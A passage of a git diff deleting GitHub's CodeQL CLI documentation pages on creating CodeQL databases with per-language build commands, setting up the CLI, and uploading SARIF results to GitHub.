code that you want to analyze: - * For a branch, check out the head of the branch that you want to analyze. - * For a pull request, check out either the head commit of the pull request, or check out a {% data variables.product.prodname_dotcom %}-generated merge commit of the pull request. -1. Set up the environment for the codebase, making sure that any dependencies are available. -1. For the best results with compiled languages, find the build command, if any, for the codebase. Typically this is available in a configuration file in the CI system. - -Once the codebase is ready, you can run `codeql database create` to create the database. For more information, see [Creating databases for non-compiled languages](#creating-databases-for-non-compiled-languages) and [Creating databases for compiled languages](#creating-databases-for-compiled-languages). - -## Running `codeql database create` - -{% data variables.product.prodname_codeql %} databases are created by running the following command from the checkout root of your project: - -```shell -codeql database create <database> --language=<language-identifier> -``` - -You must specify: - -* `<database>`: a path to the new database to be created. This directory will be created when you execute the command—you cannot specify an existing directory. -* `--language`: the identifier for the language to create a database for. When used with `--db-cluster`, the option accepts a comma-separated list, or can be specified more than once. {% data variables.product.prodname_codeql %} supports creating databases for the following languages: - - {% data reusables.code-scanning.codeql-language-identifiers-table %} - -If your codebase has a build command or script that invokes the build process, we recommend that you specify it as well: - -```shell - codeql database create <database> --command <build> \ - --language=<language-identifier> - ``` - -### Options for creating databases - -You can specify additional options depending on the location of your source file, if the code needs to be compiled, and if you want to create {% data variables.product.prodname_codeql %} databases for more than one language. - -| Option | Required | Usage | -|--------|:--------:|-----| -| `<database>` | {% octicon "check" aria-label="Required" %} | Specify the name and location of a directory to create for the {% data variables.product.prodname_codeql %} database. The command will fail if you try to overwrite an existing directory. If you also specify `--db-cluster`, this is the parent directory and a subdirectory is created for each language analyzed. | -| <code><span style="white-space: nowrap;">--language</span></code> | {% octicon "check" aria-label="Required" %} | Specify the identifier for the language to create a database for, one of: {% data reusables.code-scanning.codeql-languages-keywords %}. When used with <code><span style="white-space: nowrap;">--db-cluster</span></code>, the option accepts a comma-separated list, or can be specified more than once. | -| <code><span style="white-space: nowrap;">--command</span></code> | {% octicon "x" aria-label="Optional" %} | **Recommended.** Use to specify the build command or script that invokes the build process for the codebase. Commands are run from the current folder or, where it is defined, from <code><span style="white-space: nowrap;">--source-root</span></code>. Not needed for Python and JavaScript/TypeScript analysis. | -| {% ifversion codeql-no-build %} | -| <code><span style="white-space: nowrap;">--build-mode</span></code> | {% octicon "x" aria-label="Optional" %} | **Recommended.** Use for {% data variables.code-scanning.no_build_support %} when not providing a `--command` to specify whether to create a CodeQL database without a build (`none`) or by attempting to automatically detect a build command (`autobuild`). By default, autobuild detection is used. For a comparison of build modes, see [CodeQL build modes](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/codeql-code-scanning-for-compiled-languages#codeql-build-modes). | -| {% endif %} | -| <code><span style="white-space: nowrap;">--db-cluster</span></code> | {% octicon "x" aria-label="Optional" %} | Use in multi-language codebases to generate one database for each language specified by <code><span style="white-space: nowrap;">--language</span></code>. | -| <code><span style="white-space: nowrap;">--no-run-unnecessary-builds</span></code> | {% octicon "x" aria-label="Optional" %} | **Recommended.** Use to suppress the build command for languages where the {% data variables.product.prodname_codeql_cli %} does not need to monitor the build (for example, Python and JavaScript/TypeScript). | -| <code><span style="white-space: nowrap;">--source-root</span></code> | {% octicon "x" aria-label="Optional" %} | Use if you run the CLI outside the checkout root of the repository. By default, the `database create` command assumes that the current directory is the root directory for the source files, use this option to specify a different location. | -| <code><span style="white-space: nowrap;">--codescanning-config</span></code> | {% octicon "x" aria-label="Optional" %} | Advanced. Use if you have a configuration file that specifies how to create the {% data variables.product.prodname_codeql %} databases and what queries to run in later steps. For more information, see [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning#using-a-custom-configuration-file) and [AUTOTITLE](/code-security/codeql-cli/codeql-cli-manual/database-create#--codescanning-configfile). | - -You can specify extractor options to customize the behavior of extractors that create {% data variables.product.prodname_codeql %} databases. For more information, see -[AUTOTITLE](/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/extractor-options). - -For full details of all the options you can use when creating databases, see [AUTOTITLE](/code-security/codeql-cli/codeql-cli-manual/database-create). - -### Single language example - -This example creates a single {% data variables.product.prodname_codeql %} database for the repository checked out at `/checkouts/example-repo`. It uses the JavaScript extractor to create a hierarchical representation of the JavaScript and TypeScript code in the repository. The resulting database is stored in `/codeql-dbs/example-repo`. - -```shell -$ codeql database create /codeql-dbs/example-repo --language=javascript-typescript \ - --source-root /checkouts/example-repo - -> Initializing database at /codeql-dbs/example-repo. -> Running command [/codeql-home/codeql/javascript/tools/autobuild.cmd] - in /checkouts/example-repo. -> [build-stdout] Single-threaded extraction. -> [build-stdout] Extracting -... -> Finalizing database at /codeql-dbs/example-repo. -> Successfully created database at /codeql-dbs/example-repo. -``` - -### Multiple language example - -This example creates two {% data variables.product.prodname_codeql %} databases for the repository checked out at `/checkouts/example-repo-multi`. It uses: - -* `--db-cluster` to request analysis of more than one language. -* `--language` to specify which languages to create databases for. -* `--command` to tell the tool the build command for the codebase, here `make`. -* `--no-run-unnecessary-builds` to tell the tool to skip the build command for languages where it is not needed (like Python). - -The resulting databases are stored in `python` and `cpp` subdirectories of `/codeql-dbs/example-repo-multi`. - -```shell -$ codeql database create /codeql-dbs/example-repo-multi \ - --db-cluster --language python,c-cpp \ - --command make --no-run-unnecessary-builds \ - --source-root /checkouts/example-repo-multi -Initializing databases at /codeql-dbs/example-repo-multi. -Running build command: [make] -[build-stdout] Calling python3 /codeql-bundle/codeql/python/tools/get_venv_lib.py -[build-stdout] Calling python3 -S /codeql-bundle/codeql/python/tools/python_tracer.py -v -z all -c /codeql-dbs/example-repo-multi/python/working/trap_cache -p ERROR: 'pip' not installed. -[build-stdout] /usr/local/lib/python3.6/dist-packages -R /checkouts/example-repo-multi -[build-stdout] [INFO] Python version 3.6.9 -[build-stdout] [INFO] Python extractor version 5.16 -[build-stdout] [INFO] [2] Extracted file /checkouts/example-repo-multi/hello.py in 5ms -[build-stdout] [INFO] Processed 1 modules in 0.15s -[build-stdout] <output from calling 'make' to build the C/C++ code> -Finalizing databases at /codeql-dbs/example-repo-multi. -Successfully created databases at /codeql-dbs/example-repo-multi. -$ -``` - -## Progress and results - -Errors are reported if there are any problems with the options you have specified. For interpreted languages and when you specify `--build-mode none` for {% data variables.code-scanning.no_build_support %}, the extraction progress is displayed in the console. For each source file, the console shows if extraction was successful or if it failed. When a compiled language is built, the console will display the output of the build system. - -When the database is successfully created, you’ll find a new directory at the path specified in the command. If you used the `--db-cluster` option to create more than one database, a subdirectory is created for each language. Each {% data variables.product.prodname_codeql %} database directory contains a number of subdirectories, including the relational data (required for analysis) and a source archive—a copy of the source files made at the time the database was created—which is used for displaying analysis results. - -## Creating databases for non-compiled languages - -The {% data variables.product.prodname_codeql_cli %} includes extractors to create databases for non-compiled languages—specifically, JavaScript (and TypeScript), Python, and Ruby. These extractors are automatically invoked when you specify JavaScript, Python, or Ruby as the `--language` option when executing `database create`. When creating databases for these languages you must ensure that all additional dependencies are available. - -> [!NOTE] -> When you run `database create` for JavaScript, TypeScript, Python, and Ruby, you should not specify a `--command` option. Otherwise this overrides the normal extractor invocation, which will create an empty database. If you create databases for multiple languages and one of them is a compiled language, use the `--no-run-unnecessary-builds` option to skip the command for the languages that don’t need to be compiled. - -### JavaScript and TypeScript - -Creating databases for JavaScript requires no additional dependencies, but if the project includes TypeScript files, Node.js 14 or higher must be installed and available on the `PATH` as `node`. In the command line you can specify `--language=javascript-typescript` to extract both JavaScript and TypeScript files: - -```shell -codeql database create --language=javascript-typescript --source-root <folder-to-extract> <output-folder>/javascript-database -``` - -Here, we have specified a `--source-root` path, which is the location where database creation is executed, but is not necessarily the checkout root of the codebase. - -By default, files in `node_modules` and `bower_components` directories are not extracted. - -### Python - -When creating databases for Python you must ensure: - -* You have Python 3 installed and available to the {% data variables.product.prodname_codeql %} extractor. -* You have the version of Python used by your code installed. - -In the command line you must specify `--language=python`. For example: - -```shell -codeql database create --language=python <output-folder>/python-database -``` - -This executes the `database create` subcommand from the code’s checkout root, generating a new Python database at `<output-folder>/python-database`. - -### Ruby - -Creating databases for Ruby requires no additional dependencies. In the command line you must specify `--language=ruby`. For example: - -```shell -codeql database create --language=ruby --source-root <folder-to-extract> <output-folder>/ruby-database -``` - -Here, we have specified a `--source-root` path, which is the location where database creation is executed, but is not necessarily the checkout root of the codebase. - -## Creating databases for compiled languages - -For {% ifversion codeql-no-build %}most{% endif %} compiled languages, {% data variables.product.prodname_codeql %} needs to invoke the required build system to generate a database, therefore the build method must be available to the CLI. This approach creates databases that include generated code. {% data variables.product.prodname_codeql %} has two methods for building codebases: - -* [Automatic build detection (autobuild)](#automatically-detecting-the-build-system) -* [User-specified build commands](/code-security/codeql-cli/getting-started-with-the-codeql-cli/preparing-your-code-for-codeql-analysis#specifying-build-commands) - -{% ifversion codeql-no-build %} -In addition, for {% data variables.code-scanning.no_build_support %}, there is an option to generate a database without building the code. This is particularly useful when you want to enable {% data variables.product.prodname_code_scanning %} for many repositories. For more information, see [CodeQL build modes](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/codeql-code-scanning-for-compiled-languages#codeql-build-modes). -{% endif %} - -### Automatically detecting the build system - -The {% data variables.product.prodname_codeql_cli %} includes autobuilders for {% data variables.code-scanning.compiled_languages %} code. {% data variables.product.prodname_codeql %} autobuilders allow you to build projects for compiled languages without specifying any build commands. When an autobuilder is invoked, {% data variables.product.prodname_codeql %} examines the source for evidence of a build system and attempts to run the optimal set of commands required to extract a database. For more information, see [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/codeql-code-scanning-for-compiled-languages#about-autobuild). - -An autobuilder is invoked automatically when you execute `codeql database create` for a compiled language if you don’t include a -`--command` option{% ifversion codeql-no-build %} or set `--build-mode none`{% endif %}. For example, for a C/C++ codebase, you could simply run: - -```shell -codeql database create --language=cpp <output-folder>/cpp-database -``` - -If a codebase uses a standard build system, relying on an autobuilder is often the simplest way to create a database. For sources that require non-standard build steps, you may need to explicitly define each step in the command line. - -> [!NOTE] -> * If you are building a Go database, install the Go toolchain (version 1.11 or later) and, if there are dependencies, the appropriate dependency manager (such as [dep](https://golang.github.io/dep/)). -> * The Go autobuilder attempts to automatically detect code written in Go in a repository, and only runs build scripts in an attempt to fetch dependencies. To force {% data variables.product.prodname_codeql %} to limit extraction to the files compiled by your build script, set the environment variable `CODEQL_EXTRACTOR_GO_BUILD_TRACING=on` or use the `--command` option to specify a build command. - -### Specifying build commands - -The following examples are designed to give you an idea of some of the build commands that you can specify for compiled languages. - -> [!NOTE] -> The `--command` option accepts a single argument—if you need to use more than one command, specify `--command` multiple times. If you need to pass subcommands and options, the whole argument needs to be quoted to be interpreted correctly. - -* C/C++ project built using `make`: - - ```shell - # Disable parallel execution via `-j1` or other techniques: https://www.gnu.org/software/make/manual/make.html#Parallel-Execution - codeql database create cpp-database --language=c-cpp --command=make - ``` - -* C# project built using `dotnet build`: - - It is a good idea to add `/t:rebuild` to ensure that all code will be built, or do a prior `dotnet clean` (code that is not built will not be included in the {% data variables.product.prodname_codeql %} database): - - ```shell - codeql database create csharp-database --language=csharp --command='dotnet build /t:rebuild' - ``` - -* Go project built using the `CODEQL_EXTRACTOR_GO_BUILD_TRACING=on` environment variable: - - ```shell - CODEQL_EXTRACTOR_GO_BUILD_TRACING=on codeql database create go-database --language=go - ``` - -* Go project built using a custom build script: - - ```shell - codeql database create go-database --language=go --command='./scripts/build.sh' - ``` - -* Java project built using Gradle: - - ```shell - # Use `--no-daemon` because a build delegated to an existing daemon cannot be detected by CodeQL. - # To ensure isolated builds without caching, add `--no-build-cache` on persistent machines. - codeql database create java-database --language=java-kotlin --command='gradle --no-daemon clean test' - ``` - -* Java project built using Maven: - - ```shell - codeql database create java-database --language=java-kotlin --command='mvn clean install' - ``` - -* Java project built using Ant: - - ```shell - codeql database create java-database --language=java-kotlin --command='ant -f build.xml' - ``` - -* Swift project built from an Xcode project or workspace. By default, the largest Swift target is built: - - It's a good idea to ensure that the project is in a clean state and that there are no build artifacts available. - - ```shell - xcodebuild clean -all - codeql database create -l swift swift-database - ``` - -* Swift project built with `swift build`: - - ```shell - codeql database create -l swift -c "swift build" swift-database - ``` - -* Swift project built with `xcodebuild`: - - ```shell - codeql database create -l swift -c "xcodebuild build -target your-target" swift-database - ``` - - You can pass the `archive` and `test` options to `xcodebuild`. However, the standard `xcodebuild` command is recommended as it should be the fastest, and should be all that {% data variables.product.prodname_codeql %} requires for a successful scan. - -* Swift project built using a custom build script: - - ```shell - codeql database create -l swift -c "./scripts/build.sh" swift-database - ``` - -* Project built using Bazel: - - ```shell - # Navigate to the Bazel workspace. - - # Before building, remove cached objects - # and stop all running Bazel server processes. - bazel clean --expunge - - # Build using the following Bazel flags, to help {% data variables.product.prodname_codeql %} detect the build: - # `--spawn_strategy=local`: build locally, instead of using a distributed build - # `--nouse_action_cache`: turn off build caching, which might prevent recompilation of source code - # `--noremote_accept_cached`, `--noremote_upload_local_results`: avoid using a remote cache - # `--disk_cache=`: avoid using a disk cache. Note that a disk cache is no longer considered a remote cache as of Bazel 6. - codeql database create new-database --language=<language> \ - --command='bazel build --spawn_strategy=local --nouse_action_cache --noremote_accept_cached --noremote_upload_local_results --disk_cache= //path/to/package:target' - - # After building, stop all running Bazel server processes. - # This ensures future build commands start in a clean Bazel server process - # without {% data variables.product.prodname_codeql %} attached. - bazel shutdown - ``` - -* Project built using a custom build script: - - ```shell - codeql database create new-database --language=<language> --command='./scripts/build.sh' - ``` - -This command runs a custom script that contains all of the commands required to build the project. - -<!-- Anchor to maintain the CodeQL CLI manual pages link: https://aka.ms/codeql-docs/indirect-tracing --> - -<a name="using-indirect-build-tracing"></a> - -### Using indirect build tracing - -If the {% data variables.product.prodname_codeql_cli %} autobuilders for compiled languages do not work with your CI workflow and you cannot wrap invocations of build commands with `codeql database trace-command`, you can use indirect build tracing to create a {% data variables.product.prodname_codeql %} database. To use indirect build tracing, your CI system must be able to set custom environment variables for each build action. - -To create a {% data variables.product.prodname_codeql %} database with indirect build tracing, run the following command from the checkout root of your project: - -```shell -codeql database init ... --begin-tracing <database> -``` - -You must specify: - -* `<database>`: a path to the new database to be created. This directory will be created when you execute the command—you cannot specify an existing directory. -* `--begin-tracing`: creates scripts that can be used to set up an environment in which build commands will be traced. - -You may specify other options for the `codeql database init` command as normal. - -> [!NOTE] -> If the build runs on Windows, you must set either `--trace-process-level <number>` or `--trace-process-name <parent process name>` so that the option points to a parent CI process that will observe all build steps for the code being analyzed. - -The `codeql database init` command will output a message: - -```shell -Created skeleton <database>. This in-progress database is ready to be populated by an extractor. In order to initialise tracing, some environment variables need to be set in the shell your build will run in. A number of scripts to do this have been created in <database>/temp/tracingEnvironment. Please run one of these scripts before invoking your build command. - -Based on your operating system, we recommend you run: ... -``` - -The `codeql database init` command creates `<database>/temp/tracingEnvironment` with files that contain environment variables and values that will enable {% data variables.product.prodname_codeql %} to trace a sequence of build steps. These files are named `start-tracing.{json,sh,bat,ps1}`. Use one of these files with your CI system’s mechanism for setting environment variables for future steps. You can: - -* Read the JSON file, process it, and print out environment variables in the format expected by your CI system. For example, Azure DevOps expects `echo "##vso[task.setvariable variable=NAME]VALUE"`. -* Or, if your CI system persists the environment, source the appropriate `start-tracing` script to set the {% data variables.product.prodname_codeql %} variables in the shell environment of the CI system. - -Build your code; optionally, unset the environment variables using an `end-tracing.{json,sh,bat,ps1}` script from the directory where the `start-tracing` scripts are stored; and then run the command `codeql database finalize <database>`. - -Once you have created a {% data variables.product.prodname_codeql %} database using indirect build tracing, you can work with it like any other {% data variables.product.prodname_codeql %} database. For example, analyze the database, and upload the results to {% data variables.product.prodname_dotcom %} if you use code scanning. - -### Example of creating a {% data variables.product.prodname_codeql %} database using indirect build tracing - -> [!NOTE] -> If you use Azure DevOps pipelines, the simplest way to create a {% data variables.product.prodname_codeql %} database is to use {% data variables.product.prodname_ghas_azdo %}. For documentation, see [Configure {% data variables.product.prodname_ghas_azdo %}](https://learn.microsoft.com/en-us/azure/devops/repos/security/configure-github-advanced-security-features) in Microsoft Learn. - -The following example shows how you could use indirect build tracing in an Azure DevOps pipeline to create a {% data variables.product.prodname_codeql %} database: - -```yaml -steps: - # Download the {% data variables.product.prodname_codeql_cli %} and query packs... - # Check out the repository ... - - # Run any pre-build tasks, for example, restore NuGet dependencies... - - # Initialize the {% data variables.product.prodname_codeql %} database. - # In this example, the {% data variables.product.prodname_codeql_cli %} has been downloaded and placed on the PATH. - - task: CmdLine@1 - displayName: Initialize {% data variables.product.prodname_codeql %} database - inputs: - # Assumes the source code is checked out to the current working directory. - # Creates a database at `<current working directory>/db`. - # Running on Windows, so specifies a trace process level. - script: "codeql database init --language csharp --trace-process-name Agent.Worker.exe --source-root . --begin-tracing db" - - # Read the generated environment variables and values, - # and set them so they are available for subsequent commands - # in the build pipeline. This is done in PowerShell in this example. - - task: PowerShell@1 - displayName: Set {% data variables.product.prodname_codeql %} environment variables - inputs: - targetType: inline - script: > - $json = Get-Content $(System.DefaultWorkingDirectory)/db/temp/tracingEnvironment/start-tracing.json | ConvertFrom-Json - $json.PSObject.Properties | ForEach-Object { - $template = "##vso[task.setvariable variable=" - $template += $_.Name - $template += "]" - $template += $_.Value - echo "$template" - } - - # Execute the pre-defined build step. Note the `msbuildArgs` variable. - - task: VSBuild@1 - inputs: - solution: '**/*.sln' - msbuildArgs: /p:OutDir=$(Build.ArtifactStagingDirectory) - platform: Any CPU - configuration: Release - # Execute a clean build, in order to remove any existing build artifacts prior to the build. - clean: True - displayName: Visual Studio Build - - # Read and set the generated environment variables to end build tracing. This is done in PowerShell in this example. - - task: PowerShell@1 - displayName: Clear {% data variables.product.prodname_codeql %} environment variables - inputs: - targetType: inline - script: > - $json = Get-Content $(System.DefaultWorkingDirectory)/db/temp/tracingEnvironment/end-tracing.json | ConvertFrom-Json - $json.PSObject.Properties | ForEach-Object { - $template = "##vso[task.setvariable variable=" - $template += $_.Name - $template += "]" - $template += $_.Value - echo "$template" - } - - - task: CmdLine@2 - displayName: Finalize {% data variables.product.prodname_codeql %} database - inputs: - script: 'codeql database finalize db' - - # Other tasks go here, for example: - # `codeql database analyze` - # then `codeql github upload-results` ... -``` - -## Next steps - -* To learn how to use the {% data variables.product.prodname_codeql_cli %} to analyze the database you created from your code, see [AUTOTITLE](/code-security/codeql-cli/getting-started-with-the-codeql-cli/analyzing-your-code-with-codeql-queries). diff --git a/content/code-security/codeql-cli/getting-started-with-the-codeql-cli/setting-up-the-codeql-cli.md b/content/code-security/codeql-cli/getting-started-with-the-codeql-cli/setting-up-the-codeql-cli.md deleted file mode 100644 index 8b49b7bbc73c..000000000000 --- a/content/code-security/codeql-cli/getting-started-with-the-codeql-cli/setting-up-the-codeql-cli.md +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: Setting up the CodeQL CLI -intro: 'To get started with the {% data variables.product.prodname_codeql_cli %}, you need to download and set up the CLI so that it can access the tools and libraries required to create and analyze databases.' -product: '{% data reusables.gated-features.codeql %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Code Security - - Code scanning - - CodeQL -redirect_from: - - /code-security/codeql-cli/using-the-codeql-cli/getting-started-with-the-codeql-cli - - /code-security/secure-coding/running-codeql-cli-in-your-ci-system - - /code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-cli-in-your-ci-system - - /code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system - - /code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system - ---- - -## Setting up the {% data variables.product.prodname_codeql_cli %} - -{% data reusables.code-scanning.codeql-cli-version-ghes %} - -To run {% data variables.product.prodname_codeql %} commands, you need to set up the CLI so that it can access -the tools, queries, and libraries required to create and analyze databases. - -The {% data variables.product.prodname_codeql_cli %} can be set up to support many different use cases and directory structures. To get started quickly, we recommend adopting a relatively simple setup, as outlined in the steps below. - -If you plan to use the {% data variables.product.prodname_codeql_cli %} for security research or to test or contribute queries, you may want a more advanced setup of {% data variables.product.prodname_codeql_cli %}. For more information, see [AUTOTITLE](/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/advanced-setup-of-the-codeql-cli). - -If you are setting up the {% data variables.product.prodname_codeql_cli %} in your CI system, you need to make the full contents of the {% data variables.product.prodname_codeql_cli %} bundle available to every CI server that you want to run {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} analysis on. For example, you might configure each server to copy the bundle from a central, internal location and extract it. Alternatively, you could use the REST API to get the bundle directly from {% data variables.product.prodname_dotcom %}, ensuring that you benefit from the latest improvements to queries. For more information, see [AUTOTITLE](/rest/releases) in the REST API documentation. - -If you are using macOS on Apple Silicon (for example, Apple M1), ensure that the [Xcode command-line developer -tools](https://developer.apple.com/downloads/index.action) and [Rosetta 2](https://support.apple.com/en-us/HT211861) are installed. - -> [!NOTE] -> The {% data variables.product.prodname_codeql_cli %} is currently not compatible with non-glibc Linux distributions such as (muslc-based) Alpine Linux. - -### 1. Download the {% data variables.product.prodname_codeql_cli %} tar archive - -{% data reusables.codeql-cli.download-codeql-cli %} - -### 2. Extract the {% data variables.product.prodname_codeql_cli %} tar archive - -Extract the {% data variables.product.prodname_codeql_cli %} tar archive to a directory of your choosing. - -### 3. Launch `codeql` - -{% data reusables.codeql-cli.launch-codeql %} - -> [!NOTE] -> If you add `codeql` to your `PATH`, it can be accessed by {% data variables.product.prodname_codeql %} for {% data variables.product.prodname_vscode %} to compile and run queries. For more information about configuring {% data variables.product.prodname_vscode_shortname %} to access the {% data variables.product.prodname_codeql_cli %}, see [AUTOTITLE](/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/configuring-access-to-the-codeql-cli). - -## Testing the {% data variables.product.prodname_codeql_cli %} configuration - -After you extract the {% data variables.product.prodname_codeql_cli %} bundle, you can run the following command to verify that the CLI is correctly configured to create and analyze databases: - -* `codeql resolve packs` if `/<extraction root>/codeql` is on the `PATH`. -* `/<extraction root>/codeql/codeql resolve packs` otherwise. - -If successful, you should see output similar to the extract below: - -```shell -Searching directories specified by `--additional-packs`. All directories have equal priority. - Searching in: - No packs were found at this location. -Searching directories specified by `--search-path`. Directories are searched in order. -Searching the root of the CodeQL distribution. - Searching in: - <extraction root> - The following packs were found: - codeql/java-all@<version>: (library) <extraction root>/qlpacks/codeql/javat-all/<version>/qlpack.yml - codeql/java-queries@<version>: (query) <extraction root>/qlpacks/codeql/java-queries/<version>/qlpack.yml - codeql/javascript-all@<version>: (library) <extraction root>/qlpacks/codeql/javascript-all/<version>/qlpack.yml - codeql/javascript-queries@<version>: (query) <extraction root>/qlpacks/codeql/javascript-queries/<version>/qlpack.yml - codeql/swift-all@<version>: (library) <extraction root>/qlpacks/codeql/swift-all/<version>/qlpack.yml - codeql/swift-queries@<version>: (query) <extraction root>/qlpacks/codeql/swift-queries/<version>/qlpack.yml -... -``` - -The results have been truncated for brevity. The actual results will be longer and more detailed. - -You should check that the output contains the expected languages and also that the directory location for the qlpack files is correct. The location should be within the extracted {% data variables.product.prodname_codeql_cli %} bundle, shown in the earlier example as `<extraction root>`. If the {% data variables.product.prodname_codeql_cli %} is unable to locate the qlpacks for the expected languages, check that you downloaded the {% data variables.product.prodname_codeql %} bundle and not a standalone copy of the {% data variables.product.prodname_codeql_cli %}. - -You can also run `codeql resolve languages` to show which languages are available for database creation. This will list the languages supported by default in your {% data variables.product.prodname_codeql_cli %} package. - -Optionally, you can download some CodeQL packs containing pre-compiled queries you would like to run. For more information, see [AUTOTITLE](/code-security/codeql-cli/getting-started-with-the-codeql-cli/customizing-analysis-with-codeql-packs). - -The `codeql resolve packs` command is useful for diagnosing problems when the {% data variables.product.prodname_codeql_cli %} is unable to locate query packs that you expect to be available for analysis. - ->[!NOTE] The `codeql resolve packs` command is available in the {% data variables.product.prodname_codeql_cli %} versions 2.19.0 and later. For earlier versions of the CLI, you should run the `codeql resolve qlpacks` command, which produces similar, but less detailed output. - -## Next steps - -To learn how to prepare your code to be analyzed by the {% data variables.product.prodname_codeql_cli %}, see [AUTOTITLE](/code-security/codeql-cli/getting-started-with-the-codeql-cli/preparing-your-code-for-codeql-analysis). diff --git a/content/code-security/codeql-cli/getting-started-with-the-codeql-cli/uploading-codeql-analysis-results-to-github.md b/content/code-security/codeql-cli/getting-started-with-the-codeql-cli/uploading-codeql-analysis-results-to-github.md deleted file mode 100644 index b8caf2b1af80..000000000000 --- a/content/code-security/codeql-cli/getting-started-with-the-codeql-cli/uploading-codeql-analysis-results-to-github.md +++ /dev/null @@ -1,128 +0,0 @@ ---- -title: Uploading CodeQL analysis results to GitHub -shortTitle: Uploading results to GitHub -intro: 'You can use the {% data variables.product.prodname_codeql_cli %} to upload {% data variables.product.prodname_codeql %} analysis results to {% data variables.product.github %}.' -permissions: '{% data reusables.permissions.code-scanning-all-alerts %}' -product: '{% data reusables.gated-features.codeql %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Code Security - - Code scanning - - CodeQL ---- - -## About SARIF output - -{% data variables.product.github %} creates {% data variables.product.prodname_code_scanning %} alerts in a repository using information from Static Analysis Results Interchange Format (SARIF) files. SARIF is designed to represent the output of a broad range of static analysis tools, and there are many features in the SARIF specification that are considered "optional". The results must use SARIF version 2.1.0. For more information, see [AUTOTITLE](/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning). - -After analyzing a {% data variables.product.prodname_codeql %} database using the {% data variables.product.prodname_codeql_cli %}, you will have a SARIF file that contains the results. For more information, see [AUTOTITLE](/code-security/codeql-cli/getting-started-with-the-codeql-cli/analyzing-your-code-with-codeql-queries). You can then use the {% data variables.product.prodname_codeql_cli %} to upload results to {% data variables.product.github %}. - -If you used a method other than the {% data variables.product.prodname_codeql_cli %} to generate results, you can use other upload methods. For more information, see [AUTOTITLE](/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github). - -{% data reusables.code-scanning.upload-sarif-ghas %} - -## Generating a token for authentication with {% data variables.product.github %} - -Before you can upload your results to {% data variables.product.github %}, you will first need to generate a {% data variables.product.pat_generic %}. - -* **{% data variables.product.pat_v1_caps %}** requires "{% data variables.product.prodname_code_scanning_caps %} alerts" **Read and write** access for the required repositories. -* **{% data variables.product.pat_v2_caps %}** requires "repo" **security_events** access. - -For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token). - -If you have installed the {% data variables.product.prodname_codeql_cli %} in a third-party CI system to create results to display in {% data variables.product.github %} as code scanning alerts, you can use a {% data variables.product.prodname_github_app %} or {% data variables.product.pat_generic %} to upload results to {% data variables.product.github %}. For more information, see [AUTOTITLE](/code-security/code-scanning/integrating-with-code-scanning/using-code-scanning-with-your-existing-ci-system#generating-a-token-for-authentication-with-github). - -## Uploading results to {% data variables.product.github %} - -{% data reusables.code-scanning.upload-sarif-alert-limit %} - -Before you can upload results to {% data variables.product.github %}, you must determine the best way to pass the {% data variables.product.prodname_github_app %} or {% data variables.product.pat_generic %} you created in the previous section to the {% data variables.product.prodname_codeql_cli %}. We recommend that you review your CI system's guidance on the secure use of a secret store. The {% data variables.product.prodname_codeql_cli %} supports: - -* Interfacing with a secret store using the `--github-auth-stdin` option (recommended). -* Saving the secret in the environment variable `GITHUB_TOKEN` and running the CLI without including the `--github-auth-stdin` option. -* For testing purposes you can pass the `--github-auth-stdin` command-line option and supply a temporary token via standard input. - -When you have decided on the most secure and reliable method for your configuration, run `codeql github upload-results` on each SARIF results file and include `--github-auth-stdin` unless the token is available in the environment variable `GITHUB_TOKEN`. - -```shell -# {% data variables.product.prodname_github_app %} or {% data variables.product.pat_generic %} available from a secret store -<call-to-retrieve-secret> | codeql github upload-results \ - --repository=<repository-name> \ - --ref=<ref> --commit=<commit> \ - --sarif=<file> {% ifversion ghes %}--github-url=<URL> \ - {% endif %}--github-auth-stdin - -# {% data variables.product.prodname_github_app %} or {% data variables.product.pat_generic %} available in GITHUB_TOKEN -codeql github upload-results \ - --repository=<repository-name> \ - --ref=<ref> --commit=<commit> \ - --sarif=<file> {% ifversion ghes %}--github-url=<URL> \ - {% endif %} -``` - -| Option | Required | Usage | -| ------ | :------: | ----- | -| <code><span style="white-space: nowrap;">--repository</span></code> | {% octicon "check" aria-label="Required" %} | Specify the _OWNER/NAME_ of the repository to upload data to. The owner must be an organization{% ifversion ghas-products-cloud %}{% ifversion fpt or ghec %} within an enterprise, or on a team plan,{% endif %}{% endif %} with {% data variables.product.prodname_GH_code_security %} enabled for the repository{% ifversion fpt or ghec %}, unless the repository is public{% endif %}. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository). | -| <code><span style="white-space: nowrap;">--ref</span></code> | {% octicon "check" aria-label="Required" %} | Specify the name of the `ref` you checked out and analyzed so that the results can be matched to the correct code. For a branch use: `refs/heads/BRANCH-NAME`, for the head commit of a pull request use `refs/pull/NUMBER/head`, or for the {% data variables.product.prodname_dotcom %}-generated merge commit of a pull request use `refs/pull/NUMBER/merge`. | -| <code><span style="white-space: nowrap;">--commit</span></code> | {% octicon "check" aria-label="Required" %} | Specify the full SHA of the commit you analyzed. | -| <code><span style="white-space: nowrap;">--sarif</span></code> | {% octicon "check" aria-label="Required" %} | Specify the SARIF file to load. | -| {% ifversion ghes %} | -| <code><span style="white-space: nowrap;">--github-url</span></code> | {% octicon "check" aria-label="Required" %} | Specify the URL for {% data variables.location.product_location_enterprise %}. | -| {% endif %} | -| <code><span style="white-space: nowrap;">--github-auth-stdin</span></code> | {% octicon "x" aria-label="Optional" %} | Pass the CLI the {% data variables.product.prodname_github_app 